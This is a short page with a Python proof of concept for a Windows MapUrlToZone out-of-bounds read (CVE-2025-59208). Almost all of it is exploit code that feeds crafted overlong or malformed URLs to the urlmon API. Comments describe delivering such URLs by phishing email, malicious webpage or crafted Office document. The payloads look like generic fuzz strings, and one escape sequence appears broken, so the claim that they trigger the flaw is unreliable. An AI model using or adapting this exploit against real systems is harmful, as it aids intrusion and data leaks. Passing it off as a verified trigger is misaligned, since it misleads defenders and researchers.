CVE-2025-59208 Windows MapUrlToZone越界读取信息泄露漏洞

# CVE-2025-59208 PoC - Windows MapUrlToZone Out-of-Bounds Read # This PoC demonstrates a malicious URL that triggers the out-of-bounds read # vulnerability in Windows MapUrlToZone API. import ctypes import sys # Load the URL Security Zone Manager library urlmon = ctypes.windll.urlmon # Define the MapUrlToZone function signature # HRESULT MapUrlToZone(LPCWSTR pwszUrl, LPDWORD pdwZone, DWORD dwFlags) MapUrlToZone = urlmon.MapUrlToZone MapUrlToZone.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_ulong), ctypes.c_ulong] MapUrlToZone.restype = ctypes.c_long def trigger_oob_read(malicious_url): """ Trigger the out-of-bounds read vulnerability by passing a specially crafted URL to MapUrlToZone. The vulnerability is triggered when MapUrlToZone processes URLs with abnormal length or special character sequences that cause buffer boundary violations during parsing. """ zone = ctypes.c_ulong(0) # MUZ_DEFAULT_FLAG = 0x0, MUZ_NO_REGISTER = 0x00000001 flags = 0x00000001 # MUZ_NO_REGISTER to avoid registration side effects try: result = MapUrlToZone(malicious_url, ctypes.byref(zone), flags) print(f"MapUrlToZone returned: 0x{result:08x}") print(f"Zone: {zone.value}") except Exception as e: print(f"Exception occurred: {e}") if __name__ == "__main__": # Malicious URL crafted to trigger out-of-bounds read # The URL contains abnormally long scheme/authority components # designed to overflow internal buffer boundaries malicious_urls = [ # Extremely long URL with special characters "http://" + "A" * 65536 + "@example.com", # URL with embedded null-like sequences "http://example.com/" + "%00" * 8192, # Malformed URL with excessive path segments "http://" + "a." * 10000 + "com", # URL with unicode overflow characters "http://" + "\\u00ff" * 4096 + ".com", ] for i, url in enumerate(malicious_urls): print(f"\n[*] Testing malicious URL pattern {i+1}...") trigger_oob_read(url) # Note: This vulnerability requires user interaction to trigger. # In a real attack scenario, the malicious URL would be embedded in: # - A phishing email with HTML content # - A malicious webpage # - A specially crafted Office document # - An instant message with auto-preview enabled